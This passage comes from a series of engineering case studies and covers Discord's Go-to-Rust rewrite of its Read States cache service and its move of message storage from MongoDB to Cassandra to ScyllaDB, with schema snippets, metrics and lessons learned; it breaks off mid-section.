- **Rust learning curve**: As of the blog post (2020), the team acknowledged that Rust's steep learning curve could slow onboarding for new engineers.
- **Async ecosystem maturity**: The early 2019 experience with nightly async was rough. This has improved significantly since Rust 1.39 (November 2019) and Tokio 1.0 (December 2020).

## Lessons Learned

### Technical Lessons

#### 1. GC Cost Scales with Live Heap, Not Garbage Volume

**The insight:** In Go's tri-color mark-and-sweep GC, the mark phase must trace every pointer in every live object. The cost is approximately 4 CPU-milliseconds per MB of live heap. For a service holding millions of cache entries, this means significant CPU time is spent on GC even when the service produces almost no garbage. The forced 2-minute GC cycle (`sysmon`'s `forcegcperiod`) makes this inescapable.

**How it applies elsewhere:**

- Any Go service with a large in-memory cache (millions of entries) will face this trade-off
- The problem intensifies as cache size grows—the operational sweet spot shifts as scale increases
- Services using Go with large heaps (10+ GB live data) should monitor GC mark phase duration, not just STW pause times

**Warning signs to watch for:**

- Periodic latency spikes that correlate with GC cycles, not traffic patterns
- GOGC tuning having no effect on spike frequency
- Cache hit rate improvements being offset by GC degradation

#### 2. Deterministic Deallocation Eliminates Cache Size Trade-offs

**The insight:** In a GC runtime, there is a fundamental tension between cache size and GC performance. Larger caches improve hit rates but increase GC scan costs. In Rust (or any language with deterministic deallocation), this trade-off does not exist. Memory is freed at the point of eviction, and there is no periodic scanning of live objects.

**How it applies elsewhere:**

- Any latency-sensitive service where the primary data structure is a large in-memory cache
- Systems where the "right" cache size is constrained by GC overhead rather than available memory
- Services that would benefit from more caching but cannot afford the GC tax

#### 3. Tune the Runtime Before Rewriting—But Know When Tuning Cannot Work

**The insight:** Discord spent significant effort tuning Go's GC (dynamic GOGC, cache partitioning, version upgrades) before deciding to rewrite. This was the right sequence—tuning is cheaper than a rewrite. But the tuning correctly identified that the problem was structural: GC scan cost is proportional to live heap, and no GOGC setting changes that relationship.

**How it applies elsewhere:**

- Always exhaust runtime tuning before considering a rewrite
- Document what you tried and why it failed—this justification is critical for a rewrite decision
- Distinguish between _configurational_ problems (wrong settings) and _structural_ problems (fundamental runtime behavior)

### Process Lessons

#### 1. Start with a Small, Self-Contained Service

**What they did:** Discord chose Read States—a small, self-contained service with clear boundaries—as their first Rust production service. This limited blast radius and let the team build Rust expertise on a tractable problem.

**What they'd recommend:** Do not rewrite your most complex service first. Pick the service where the performance impact is clearest and the scope is narrowest. Success with a small service builds organizational confidence for larger migrations.

#### 2. Existing Rust Experience Reduced Risk

**What they had:** Discord already used Rust for Elixir NIFs (Native Implemented Functions)—a sorted set implementation that achieved an order-of-magnitude improvement over the Elixir implementation, scaling to 11 million concurrent users. They also used Rust in the video encoding pipeline for the Go Live feature.

**The implication:** The Read States rewrite was not Discord's first Rust bet. Prior experience with Rust in production (even in different contexts) gave the team confidence that the language could deliver on its performance promises.

### Organizational Lessons

#### 1. Language Choice Is an Architecture Decision for Cache-Heavy Services

**The insight:** For most network services, language choice is secondary to architecture. But for services where the dominant cost is GC scan time on a large live heap, language runtime characteristics become the primary performance factor. Discord's experience showed that no amount of application-level optimization could compensate for a fundamental runtime behavior.

**How organizations should evaluate this:** Measure your GC costs. If GC mark phase is consuming >5% of CPU in a latency-sensitive service, and the live heap is growing, you may be approaching the boundary where GC runtime characteristics dominate application performance.

## Applying This to Your System

### When This Pattern Applies

You might face similar challenges if:

- Your service maintains an in-memory cache with **millions of entries**
- You observe **periodic latency spikes** that correlate with GC cycles, not traffic
- You are running a GC runtime (Go, Java, C#) and **GOGC/GC tuning has diminishing returns**
- Your cache size is **artificially constrained** to limit GC impact, not by available memory
- **Tail latency (p99/p999)** requirements are strict and GC pauses violate them

### When This Pattern Does NOT Apply

- Your service is **I/O-bound** (database, network)—GC pauses are masked by I/O latency
- Your live heap is **moderate** (hundreds of MB, not GB)—GC scan cost is negligible
- Your latency requirements are **lenient** (10s of ms is acceptable)—GC pauses are within budget
- **Development velocity** matters more than microsecond-level latency control
- Go's GC improvements since 1.12+ (better sweep performance for large live heaps) and `GOMEMLIMIT` (Go 1.19+) may address your specific workload without a rewrite

### Checklist for Evaluation

- [ ] Measure GC mark phase duration and CPU percentage in your service
- [ ] Correlate latency spikes with GC cycles (not just STW pauses—measure the full mark phase impact)
- [ ] Profile with GOGC tuning across the full range—if no setting helps, the problem is structural
- [ ] Calculate the ratio of live heap to garbage produced per cycle—high ratios indicate scan-dominated GC
- [ ] Estimate the p99 latency improvement from eliminating GC entirely vs. the cost of a rewrite

### Starting Points

If you want to explore this approach:

1. **Profile first**: Use Go's `runtime/metrics` package (Go 1.16+) or `GODEBUG=gctrace=1` to measure GC mark phase duration and fraction of CPU spent on GC
2. **Try GOMEMLIMIT** (Go 1.19+): This may help if your problem is GC frequency, not GC scan cost
3. **Prototype in Rust**: Port the cache layer to Rust as a NIF (if using Elixir/Erlang) or as a standalone gRPC service. Measure the latency profile difference.
4. **Consider alternatives**: C++ offers similar deterministic deallocation. Zig provides manual memory management with safety features. The key requirement is deterministic deallocation, not Rust specifically.

## Discord's Broader Rust Adoption

The Read States rewrite was one step in a broader pattern of Rust adoption at Discord:

| Year  | Rust Usage                                                                                                                                                                                  |
| ----- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ~2018 | **Elixir NIFs**: Sorted set implementation for member list management (6.5x–160x improvement over Elixir). Open-sourced as `discord/sorted_set_nif`.                                        |
| ~2019 | **Read States service** rewritten from Go. **Video encoding pipeline** for Go Live feature.                                                                                                 |
| 2022  | **Data services layer**: Rust gRPC intermediaries between API and ScyllaDB with request coalescing. **Data migration tool** for Cassandra-to-ScyllaDB migration (3.2 million messages/sec). |
| 2023  | **Message indexing router**: Rust/Tokio `MessageRouter` streams from Google Cloud Pub/Sub and batches for Elasticsearch.                                                                    |
| 2024+ | Rust established as Discord's primary language for performance-critical data services.                                                                                                      |

Discord's stack is polyglot: **Elixir** for distributed real-time messaging (WebSocket gateways, presence, voice signaling), **Python** for the API monolith, and **Rust** for performance-critical infrastructure. The Read States rewrite demonstrated that Rust could deliver production-grade performance improvements, building organizational confidence for broader adoption.

## Conclusion

Discord's Read States rewrite is a precise case study in identifying the structural cause of a performance problem. The Go implementation was well-optimized—minimal allocations, efficient data structures, extensive GC tuning. But the problem was not in the application code. It was in the runtime: Go's GC must scan every live object, and for a service holding tens of millions of cache entries, that scan cost dominated performance with a periodic, unavoidable tax.

The rewrite itself was not architecturally complex. The service design stayed the same—an LRU cache backed by Cassandra. The critical change was moving from GC-managed memory (where evicted entries linger until the collector runs) to ownership-managed memory (where evicted entries are freed at the exact point of eviction). This eliminated the sawtooth latency pattern entirely and, counterintuitively, allowed the cache to grow larger—which improved overall performance further by reducing Cassandra reads.

The broader lesson: for most services, GC overhead is an acceptable cost for development velocity. But when a service's dominant data structure is a large in-memory cache, GC scan cost becomes the primary performance factor. Recognizing this boundary—and knowing when tuning cannot cross it—is the engineering judgment call at the heart of this case study.

## Appendix

### Prerequisites

- Understanding of garbage collection concepts (mark-and-sweep, tri-color algorithm, stop-the-world pauses)
- Familiarity with LRU cache data structures and eviction policies
- Basic knowledge of Rust's ownership model (ownership, borrowing, `Drop` trait) or willingness to accept the explanations provided
- Understanding of latency percentiles (p50, p99, p999) and why tail latency matters

### Terminology

| Term                         | Definition                                                                                                                                                      |
| ---------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Read State**               | Discord's data structure tracking which messages a user has read in a specific channel (one per user per channel)                                               |
| **LRU cache**                | Least Recently Used cache—evicts the entry that was accessed least recently when the cache reaches capacity                                                     |
| **GOGC**                     | Go's GC target percentage environment variable—controls when the next GC cycle triggers based on heap growth since the last cycle                               |
| **sysmon**                   | Go runtime's background monitor goroutine that, among other duties, forces a GC every 2 minutes (`forcegcperiod`)                                               |
| **Tri-color mark-and-sweep** | Go's GC algorithm that classifies objects as white (potentially garbage), gray (discovered but not fully scanned), or black (confirmed alive and fully scanned) |
| **Drop trait**               | Rust's trait for deterministic cleanup—the compiler inserts a `Drop` call when a value's owner goes out of scope, freeing memory immediately                    |
| **Tokio**                    | Rust's async runtime for writing concurrent applications, used by Discord for the Rust Read States service                                                      |
| **BTreeMap**                 | A B-tree-based ordered map in Rust's standard library—chosen over HashMap for memory efficiency at scale                                                        |
| **Snowflake ID**             | Discord's ID format—a 64-bit integer encoding timestamp, worker ID, and sequence number                                                                         |
| **NIF**                      | Native Implemented Function—a mechanism for calling native code (C, Rust) from Erlang/Elixir                                                                    |
| **GC assist**                | Go's mechanism where application goroutines are conscripted to help with GC marking work if they are allocating faster than the collector can mark              |
| **Memory ballast**           | A technique (popularized by Twitch) of allocating a large unused byte array to inflate the live heap baseline and reduce GC trigger frequency                   |

### Summary

- Discord's Read States service suffered periodic 10–40 ms latency spikes every ~2 minutes due to Go's forced GC scanning tens of millions of live LRU cache entries
- The GC cost was proportional to _live_ heap size, not garbage volume—GOGC tuning, cache partitioning, and Go version upgrades could not fix a structural runtime limitation
- Rewriting in Rust eliminated GC overhead entirely via deterministic deallocation (the `Drop` trait frees memory at the exact point of eviction)
- Cache capacity increased to 8 million entries with zero GC penalty, improving hit rates and reducing Cassandra reads
- The rewrite validated Rust as Discord's language for performance-critical services, leading to broader adoption across data services, migration tooling, and message indexing

### References

- [Why Discord is switching from Go to Rust](https://discord.com/blog/why-discord-is-switching-from-go-to-rust) — Jesse Howarth, Discord Engineering Blog, February 2020. Primary source for Read States migration details.
- [Using Rust to Scale Elixir for 11 Million Concurrent Users](https://discord.com/blog/using-rust-to-scale-elixir-for-11-million-concurrent-users) — Discord Engineering Blog, May 2019. Earlier Rust adoption at Discord via Elixir NIFs.
- [How Discord Stores Trillions of Messages](https://discord.com/blog/how-discord-stores-trillions-of-messages) — Discord Engineering Blog, March 2023. Broader Rust data services architecture and Cassandra-to-ScyllaDB migration.
- [How Discord Indexes Trillions of Messages](https://discord.com/blog/how-discord-indexes-trillions-of-messages) — Discord Engineering Blog, 2024. Rust/Tokio message indexing router.
- [Real-time Communication at Scale with Elixir at Discord](https://elixir-lang.org/blog/2020/10/08/real-time-communication-at-scale-with-elixir-at-discord/) — Elixir Blog, October 2020. Discord's overall architecture context.
- [A Guide to the Go Garbage Collector](https://tip.golang.org/doc/gc-guide) — Go official documentation. GOGC, GOMEMLIMIT, and GC cost model.
- [Go Memory Ballast: How I Learnt to Stop Worrying and Love the Heap](https://blog.twitch.tv/en/2019/04/10/go-memory-ballast-how-i-learnt-to-stop-worrying-and-love-the-heap/) — Twitch Engineering, April 2019. Memory ballast technique for Go GC tuning.
- [Go's March to Low-Latency GC](https://blog.twitch.tv/en/2016/07/05/gos-march-to-low-latency-gc-a6fa96eb7/) — Twitch Engineering, July 2016. Go GC pause evolution across versions.
- [Hacker News Discussion: Why Discord is switching from Go to Rust](https://news.ycombinator.com/item?id=22238335) — February 2020. Contains comments from Discord engineer "jhgg" with supplementary technical details.
- [The Rust Programming Language — Ownership](https://doc.rust-lang.org/book/ch04-01-what-is-ownership.html) — Official Rust documentation. Ownership model and deterministic deallocation.

---

## Discord: From Billions to Trillions of Messages — A Three-Database Journey

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/real-world-case-studies/discord-message-storage
**Category:** System Design / Real-World Case Studies
**Description:** How Discord evolved its message storage from a single MongoDB replica set to Cassandra to ScyllaDB over 8 years, building Rust-based data services and a custom “super-disk” storage architecture along the way — reducing cluster size from 177 to 72 nodes while dropping p99 read latency from 125ms to 15ms.

# Discord: From Billions to Trillions of Messages — A Three-Database Journey

How Discord evolved its message storage from a single MongoDB replica set to Cassandra to ScyllaDB over 8 years, building Rust-based data services and a custom "super-disk" storage architecture along the way — reducing cluster size from 177 to 72 nodes while dropping p99 read latency from 125ms to 15ms.

<figure>

![Discord's message storage evolution across three phases, from a MongoDB replica set to a ScyllaDB cluster with Rust data services.](./discord-s-message-storage-evolution-across-three-phases-from-a-mongodb-replica-s.svg)

<figcaption>Discord's message storage evolution across three phases, from a MongoDB replica set to a ScyllaDB cluster with Rust data services.</figcaption>
</figure>

## Abstract

Discord's message storage story is a case study in outgrowing databases — twice — and building the infrastructure layer that makes the final choice work. The mental model:

| Phase                           | Trigger                                                                                                             | Solution                                                                                                               | Key Insight                                                                                                                                           |
| ------------------------------- | ------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------- |
| **MongoDB** (2015–2016)         | 100M messages; index exceeded RAM; latency became unpredictable                                                     | Migrate to Cassandra for linear scalability and predictable performance                                                | Plan for migration from day one — Discord's MongoDB schema was designed to port cleanly                                                               |
| **Cassandra** (2017–2021)       | Trillions of messages; JVM GC pauses, compaction backlogs, hot partitions caused cascading latency and on-call toil | Migrate to ScyllaDB (C++, no GC) with Rust data services for request coalescing                                        | The database alone isn't the bottleneck — the access pattern layer above it (data services) determines whether hot partitions cascade or get absorbed |
| **ScyllaDB + Rust** (2020–2022) | Needed lower latency, better workload isolation, and reduced operational burden                                     | ScyllaDB's shard-per-core model + custom Rust migrator (3.2M msgs/sec) + super-disk (Local SSD + Persistent Disk RAID) | Rewriting the migration tool in Rust cut the timeline from 3 months to 9 days — sometimes the bottleneck is the migration itself                      |

**The transferable insight**: Discord didn't just swap databases — they added an entire data services layer between the application and the database. This layer (request coalescing, consistent hash routing) absorbed the read amplification that no database could handle alone. The lesson: when your access patterns create hot spots that even a well-tuned database can't serve, move the coalescing logic outside the database.

## Context

### The System

Discord is a real-time communication platform handling text, voice, and video across millions of servers (communities). Every text message — whether in a 5-person group chat or a 1-million-member server — passes through the same message storage infrastructure.

| Metric                   | 2017     | Early 2022           | Post-Migration (2022) |
| ------------------------ | -------- | -------------------- | --------------------- |
| Messages stored          | Billions | Trillions            | Trillions             |
| Messages per day         | 120M+    | ~4B (peak, Aug 2022) | ~4B                   |
| Cassandra/ScyllaDB nodes | 12       | 177                  | 72 (ScyllaDB)         |
| Storage per node         | ~1 TB    | ~4 TB                | ~9 TB                 |
| Backend engineers (2017) | 4        | —                    | —                     |
| Replication factor       | 3        | 3                    | 3                     |

### The Access Pattern

Discord's message access pattern is what makes storage hard. Three distinct workload profiles coexist in the same cluster:

1. **Voice-heavy servers**: Under 1,000 messages per year. Tiny partitions, rarely read.
2. **Private text channels**: 100K–1M messages per year. Moderate write volume, infrequent reads.
3. **Large public servers**: Millions of messages per year. Heavy writes, frequent reads of recent messages, with occasional jumps to historical messages.

The critical property: the read/write ratio is approximately 50/50, and reads are extremely random — users jump to arbitrary points in a channel's history, scroll backward, search, and pin messages. This rules out write-optimized stores that sacrifice random read performance.

### The Architecture

Discord's message storage sits behind an API monolith (originally Python, later Elixir for real-time features). Messages flow through WebSocket gateways for real-time delivery, but every message is also persisted to the message store for retrieval. The persistence path — the focus of this case study — evolved through three database systems over 8 years.

## Phase 1: MongoDB (2015–2016)

### The Starting Point

When Discord launched in May 2015, the team intentionally chose a single MongoDB replica set for all data, including messages. The engineering philosophy was explicit: build quickly, but design the schema for portability.

Messages were indexed on a compound key of `(channel_id, created_at)`, and the entire application — user data, server metadata, messages — lived in one replica set.

### Where It Broke

By November 2015 — six months after launch — Discord had stored 100 million messages. At this point, the data and indexes could no longer fit in RAM. MongoDB's performance became unpredictable: random reads that previously completed in milliseconds now hit disk, and latencies spiked erratically.

The team had anticipated this. Discord's co-founder Stanislav Vishnevskiy had designed the MongoDB schema to be migration-friendly from the start. The question wasn't whether to migrate — it was where.

### Requirements for the Next Database

The team identified concrete requirements:

- **Linear scalability**: Adding nodes should increase capacity proportionally, without resharding
- **Automatic failover**: No manual intervention for node failures
- **Low maintenance**: A team of 4 backend engineers with no dedicated operations staff could not afford a high-touch database
- **Proven at scale**: Netflix and Apple ran Cassandra clusters with thousands of nodes
- **Predictable performance**: Target of sub-80ms at p95 for API responses
- **Open source**: Avoiding vendor lock-in

Cassandra met every requirement. The migration from MongoDB to Cassandra happened in early 2017.

## Phase 2: Cassandra (2017–2021)

### Data Model Design

The Cassandra data model is the heart of Discord's storage story. Every design decision here had consequences that played out over the next 5 years.

#### Message IDs: Snowflake Format

Discord assigns each message a **Snowflake ID** — a 64-bit integer that encodes the creation timestamp, making IDs chronologically sortable. This is the same approach Twitter pioneered. Using Snowflake IDs as the clustering key instead of raw timestamps eliminates collision risk: two messages sent in the same millisecond get distinct IDs, whereas timestamps would collide.

#### Initial Schema: Unbounded Partitions

The first Cassandra schema used `(channel_id, message_id)` as the primary key — channel ID as the partition key, message ID as the clustering key with descending sort order:

```sql title="Initial Cassandra Schema"
CREATE TABLE messages (
  channel_id bigint,
  message_id bigint,
  author_id bigint,
  content text,
  -- ... additional columns
  PRIMARY KEY (channel_id, message_id)
) WITH CLUSTERING ORDER BY (message_id DESC);
```

This meant every message in a channel lived in a single partition. For small servers, this was fine. For large public servers with millions of messages, partitions grew unboundedly.

#### The Problem: Partition Size

Cassandra warns at 100 MB partitions and begins to degrade significantly as partitions approach 2 GB. Large partitions cause excessive Garbage Collection (GC) pressure during compaction because the JVM must hold partition data in memory to merge SSTables (Sorted String Tables). A channel with years of chat history could easily exceed these thresholds.

#### The Solution: Time-Based Bucketing

Discord introduced a **bucket** — a static 10-day time window — as part of the partition key:

```sql title="Bucketed Cassandra Schema" {3}
CREATE TABLE messages (
  channel_id bigint,
  bucket int,
  message_id bigint,
  author_id bigint,
  content text,
  PRIMARY KEY ((channel_id, bucket), message_id)
) WITH CLUSTERING ORDER BY (message_id DESC);
```

The bucket value is derived from the message timestamp relative to a `DISCORD_EPOCH` (January 1, 2015). Even the busiest Discord channels generate partitions well under 100 MB in a 10-day window.

**The trade-off**: Fetching 50 messages from an inactive channel might require querying multiple buckets sequentially — the query generates bucket ranges from the timestamp and scans them in reverse chronological order until it collects enough messages. For active channels (the common case), a single bucket query returns results immediately. Discord accepted this trade-off: the vast majority of reads hit recent messages in active channels.

### Production at 12 Nodes

By early 2017, Discord's Cassandra cluster ran on 12 nodes with a replication factor of 3, storing approximately 1 TB of compressed data per node. Write latency was sub-millisecond; read latency was under 5 milliseconds. The team of 4 backend engineers managed the cluster without dedicated operations staff.

### Production Issues

#### Tombstone Accumulation

Cassandra does not delete data immediately. A delete operation writes a **tombstone** — a special marker indicating the row is deleted. Tombstones persist for a configurable period (`gc_grace_seconds`, defaulting to 10 days) to ensure deletions propagate across all replicas before the data is physically removed during compaction.

Discord's message schema had 16 columns, but the average message only populated 4 of them. Because Cassandra treats all writes as upserts, writing `null` values for unused columns generated tombstones — 12 unnecessary tombstones per message insert. At hundreds of millions of messages per day, this created enormous tombstone accumulation.

**The fix**: Only write non-null columns. This required changing the write path to construct sparse inserts rather than full-row upserts.

#### The Tombstone Cascade (6 Months Post-Launch)

The most dramatic incident hit the Puzzles & Dragons Subreddit public Discord server. A channel with only 1 visible message took 20 seconds to load. Investigation revealed millions of tombstones from bulk API deletions — users or bots had deleted massive numbers of messages, and every deletion created a tombstone that Cassandra had to scan on reads.

The tombstones triggered continuous 10-second stop-the-world GC pauses on the nodes serving that partition. Because Discord used quorum consistency (reads require responses from 2 of 3 replicas), GC pauses on one node propagated latency to every query hitting those replicas.

**Solutions implemented**:

1. Reduced `gc_grace_seconds` from 10 days to 2 days (safe because nightly repairs ensured tombstone propagation)
2. Modified query code to track empty buckets and skip them on subsequent reads, avoiding full tombstone scans

#### Eventual Consistency Race Conditions

Cassandra's "last write wins" conflict resolution created a subtle bug. When a user edited a message while another user simultaneously deleted it, the edit (an upsert of the `content` column) would resurrect the row — but only with the primary key and the edited column. All other columns (including `author_id`) remained null, creating ghost rows.

**The fix**: On read, if a message row was missing the `author_id` column, Discord treated it as deleted and issued a cleanup delete.

### Scaling Pains (2020–2022)

As Discord grew from billions to trillions of messages and the cluster expanded from 12 to 177 nodes, three problems became chronic:

#### Hot Partitions

Large public servers like gaming communities or cryptocurrency channels generated disproportionate traffic on specific `(channel_id, bucket)` partitions. When thousands of users simultaneously read from the same channel, the nodes holding that partition's replicas became overloaded. With quorum consistency, all queries to those nodes — including queries for unrelated channels that happened to hash to the same nodes — suffered latency spikes.

#### Compaction Backlog

Cassandra compacts SSTables in the background to merge data and remove tombstones, improving read performance. When compaction fell behind — common under sustained write load — reads had to scan more SSTables per query, increasing latency and disk I/O. This created a cascading effect: higher latency increased queue depth, which increased node load, which further delayed compaction.

The team developed a manual procedure called the **"gossip dance"**: take a node out of the Cassandra ring to let it compact without serving traffic, bring it back to receive hinted handoff data from peers, and repeat until the compaction backlog cleared. This was time-consuming and required operator intervention.

#### JVM Garbage Collection

The most persistent operational burden was the JVM's garbage collector. Discord spent significant time tuning GC settings and heap sizes. Despite tuning, GC pauses caused latency spikes ranging from brief hiccups to multi-second stop-the-world pauses severe enough to require manual node reboots. These events were frequent enough to be a major source of on-call toil.

The cluster had become, in the team's words, a "high-toil system" — requiring constant babysitting to maintain acceptable performance.

## Options Considered

By 2020, Discord had already migrated every database except the message store to ScyllaDB. The team evaluated their options for the largest and most critical cluster.

### Option 1: Continue Tuning Cassandra

**Approach**: Invest in JVM tuning, compaction strategy optimization, and operational automation.

**Pros**:

- No migration risk
- Existing team expertise

**Cons**:

- GC pauses are fundamental to the JVM — tuning mitigates but cannot eliminate them
- Hot partitions are a Cassandra architectural limitation
- Compaction backlog requires manual intervention regardless of tuning
- On-call burden would persist

**Why not chosen**: The problems were architectural, not configurational. More tuning would yield diminishing returns.

### Option 2: Horizontal Sharding / Cluster Splitting

**Approach**: Split the monolithic Cassandra cluster into multiple smaller clusters, routing by channel type or server size.

**Pros**:

- Reduces blast radius of hot partitions
- Smaller clusters compact faster

**Cons**:

- Does not solve GC pauses
- Increases operational complexity (multiple clusters to manage)
- Routing logic adds application complexity
- Hot partitions still affect individual clusters

**Why not chosen**: Splitting clusters addresses symptoms but not root causes. The same problems would recur at smaller scale.

### Option 3: Migrate to ScyllaDB

**Approach**: Replace Cassandra with ScyllaDB — a Cassandra-compatible database written in C++ with a shard-per-core architecture that eliminates GC pauses entirely.

**Pros**:

- No garbage collection (C++ runtime)
- Shard-per-core architecture provides workload isolation — a hot partition on one core does not affect other cores on the same node
- Cassandra Query Language (CQL) compatible — same schema, same queries
- Discord already had ScyllaDB experience from other clusters
- Faster repairs (critical for tombstone management)

**Cons**:

- Migration of trillions of messages carries risk
- ScyllaDB's reverse query performance was initially insufficient for Discord's read patterns (messages sorted descending)

**Why chosen**: ScyllaDB addressed every root cause: no GC, better workload isolation, and Cassandra compatibility meant the schema and queries could migrate without application changes. The reverse query performance gap was raised with ScyllaDB's engineering team, who prioritized and shipped an improvement before Discord's migration.

### Decision Factors

| Factor                   | Tune Cassandra       | Split Clusters | Migrate to ScyllaDB      |
| ------------------------ | -------------------- | -------------- | ------------------------ |
| GC pauses eliminated     | No                   | No             | **Yes**                  |
| Hot partition isolation  | No                   | Partial        | **Yes (shard-per-core)** |
| Compaction behavior      | Marginal improvement | Same           | **Improved**             |
| Migration risk           | None                 | Low            | Medium                   |
| Schema changes required  | None                 | None           | None (CQL compatible)    |
| On-call burden reduction | Marginal             | Moderate       | **Significant**          |
| Prior team experience    | High                 | High           | High (other clusters)    |

## Implementation

### Architecture: Rust Data Services

Before migrating the database, Discord built an entirely new layer between the API monolith and the database: **data services**, written in Rust using the Tokio async runtime.

#### Why an Intermediate Layer?

The API monolith connected directly to Cassandra. Every user request that loaded messages generated a database query. When a popular channel was active, thousands of concurrent users might request the same messages simultaneously — each triggering an independent database read. This amplified hot partition pressure: the database didn't just handle one read for a popular channel, it handled thousands of identical reads.

Data services solved this with two mechanisms:

**1. Request Coalescing**

When the first request for a given channel arrives at the data service, it spawns a worker task that executes the database query. Any subsequent requests for the same data that arrive while the worker is in-flight subscribe to the worker's result instead of issuing duplicate queries. When the database responds, all subscribers receive the result from that single query.

This transforms N concurrent reads for the same channel into 1 database query, dramatically reducing load on hot partitions.

**2. Consistent Hash Routing**

Each request to the data service includes a routing key (the `channel_id`). The system uses consistent hashing to route all requests for the same channel to the same data service instance. This concentrates coalescing opportunities — if requests for the same channel were spread across multiple instances, each instance would issue its own database query.

#### Design Constraints

Data services are intentionally thin:

- Each gRPC endpoint maps 1:1 to a database query
- No business logic — pure data access
- Stateless except for in-flight request tracking
- Written in Rust for predictable latency (no GC) and safe concurrency (ownership model prevents data races in the coalescing logic)

### ScyllaDB's Shard-Per-Core Architecture

ScyllaDB's key architectural difference from Cassandra is its **shard-per-core** model. Each CPU core is assigned a subset of the data and processes requests for that data independently, with its own memory allocator and I/O scheduler. There is no shared mutable state between cores, eliminating the locks and coordination overhead that cause contention in multi-threaded JVM applications.

For Discord, this meant a hot partition on one core did not degrade performance for queries served by other cores on the same node — a fundamental improvement over Cassandra, where GC pauses and lock contention affected the entire JVM process.

### Super-Disk: Hybrid Storage on GCP

Discord runs on Google Cloud Platform (GCP). Standard Persistent Disks deliver 1–2ms latency per I/O operation — adequate for many workloads, but insufficient for a database serving 2 million requests per second. Local SSDs offer ~0.5ms latency but are ephemeral: if the instance migrates or restarts, Local SSD data is lost.

Discord engineered a **super-disk** configuration combining both:

1. **RAID0** across multiple Local SSDs (375 GB each, NVMe) for aggregated capacity and parallel read throughput
2. **RAID1** (mirror) between the RAID0 array and a Persistent Disk, with the Persistent Disk marked `write-mostly` to exclude it from read balancing

This gives reads the latency of Local SSDs (~0.5ms) while writes propagate to the Persistent Disk for durability and snapshot capability. If Local SSD data is lost during a host migration (GCP replaces the entire host if any Local SSD fails), the node can rebuild from the Persistent Disk mirror and Cassandra/ScyllaDB's replication.

**Impact**: I/O wait dropped 50–75% compared to Persistent Disk alone, eliminating the query queueing that occurred during traffic peaks.

### Migration Strategy

#### Phase 1: Dual Writes (New Data)

Discord established a cutover timestamp. All new messages after this timestamp were written to both Cassandra and ScyllaDB. The API monolith continued reading from Cassandra while the ScyllaDB cluster warmed up.

#### Phase 2: Historical Migration (The Bottleneck)

The initial plan used Apache Spark to read token ranges from Cassandra and write them to ScyllaDB. Estimated timeline: **3 months**.

The team rejected this timeline and built a custom migrator in Rust. The Rust migrator:

- Read token ranges directly from Cassandra
- Checkpointed progress via SQLite (enabling restarts without re-scanning)
- Wrote to ScyllaDB with high-throughput concurrent inserts
- Achieved **3.2 million messages per second** migration throughput

Estimated timeline with the Rust migrator: **9 days**.

#### Challenge: Tombstone Compaction

During migration, the team discovered that gigantic tombstone ranges in Cassandra — accumulated over years — had to be compacted before data could be cleanly read and transferred. The migrator handled this by triggering targeted compaction on specific token ranges before reading them.

#### Phase 3: Validation

Discord mirrored a percentage of live read traffic to both databases simultaneously, comparing responses. Discrepancies were logged and investigated. This ran for weeks before switching reads to ScyllaDB.

#### Cutover

In **May 2022**, Discord switched the primary read path from Cassandra to ScyllaDB. The Cassandra cluster was decommissioned.

## Outcome

### Metrics Comparison

| Metric                  | Cassandra (Early 2022)          | ScyllaDB (Post-Migration) | Change                  |
| ----------------------- | ------------------------------- | ------------------------- | ----------------------- |
| Cluster nodes           | 177                             | 72                        | **59% reduction**       |
| Storage per node        | ~4 TB                           | ~9 TB                     | 2.25x density           |
| Historical reads p99    | 40–125 ms                       | 15 ms                     | **5–8x improvement**    |
| Message inserts p99     | 5–70 ms                         | 5 ms (stable)             | **Eliminated variance** |
| GC-related incidents    | Frequent (major on-call burden) | None                      | **Eliminated**          |
| Compaction intervention | Regular ("gossip dance")        | None required             | **Eliminated**          |

### Operational Impact

The most significant outcome was not the latency improvement — it was the elimination of operational toil. After the migration:

- No weekend firefights related to the message database
- No manual compaction procedures
- No GC tuning cycles
- The on-call burden for the persistence team dropped dramatically

### World Cup Validation

In December 2022, the FIFA World Cup Final generated massive concurrent traffic on Discord. The ScyllaDB cluster showed 9 distinct traffic spikes correlating with match events (goals, penalties, halftime). The system handled every spike without degradation — demonstrating the stability the team had been unable to achieve with Cassandra.

### Timeline

| Milestone                                  | Date          |
| ------------------------------------------ | ------------- |
| Discord launches on MongoDB                | May 2015      |
| MongoDB hits 100M messages, scaling limits | November 2015 |
| Cassandra migration complete               | Early 2017    |
| First blog post (12 Cassandra nodes)       | January 2017  |
| ScyllaDB adopted for other databases       | 2020          |
| Super-disk architecture deployed           | 2022          |
| Rust data services layer built             | 2021–2022     |
| ScyllaDB migration for messages begins     | Early 2022    |
| Primary read path switched to ScyllaDB     | May 2022      |
| World Cup Final validation                 | December 2022 |
| Second blog post (72 ScyllaDB nodes)       | March 2023    |

## Lessons Learned

### Technical Lessons

#### 1. The Access Pattern Layer Matters More Than the Database

**The insight**: Discord's hot partition problem was not solvable by any database alone. Thousands of concurrent users reading the same channel would overload any partition-based storage system. The Rust data services layer — specifically request coalescing with consistent hash routing — reduced database load by orders of magnitude on hot channels.

**How it applies elsewhere**: If your workload has natural hot spots (popular content, viral events, shared resources), adding a coalescing layer between your application and database can be more effective than scaling the database itself. The coalescing logic is simple: deduplicate in-flight requests by key, fan out results.

**Warning signs you need this**:

- Latency spikes correlate with specific content popularity, not overall load
- Database metrics show repeated identical queries within short time windows
- Adding database replicas doesn't proportionally reduce hot-spot latency

#### 2. Garbage Collection Is a Fundamental Constraint, Not a Tuning Problem

**The insight**: Discord spent years tuning JVM GC for Cassandra. Despite extensive effort, GC pauses remained the primary source of latency spikes and operational incidents. Migrating to ScyllaDB (C++, no GC) eliminated the entire category of problems.

**How it applies elsewhere**: If your database runs on the JVM (Cassandra, HBase, Elasticsearch) and GC tuning consumes significant engineering time, evaluate whether a non-JVM alternative exists. The engineering time spent on tuning may exceed the migration cost.

**Warning signs you need this**:

- On-call pages frequently trace to GC pauses
- Latency SLOs are violated by GC-induced outliers, not sustained load
- GC tuning changes fix one workload but regress another

#### 3. Migration Tooling Can Be the Bottleneck

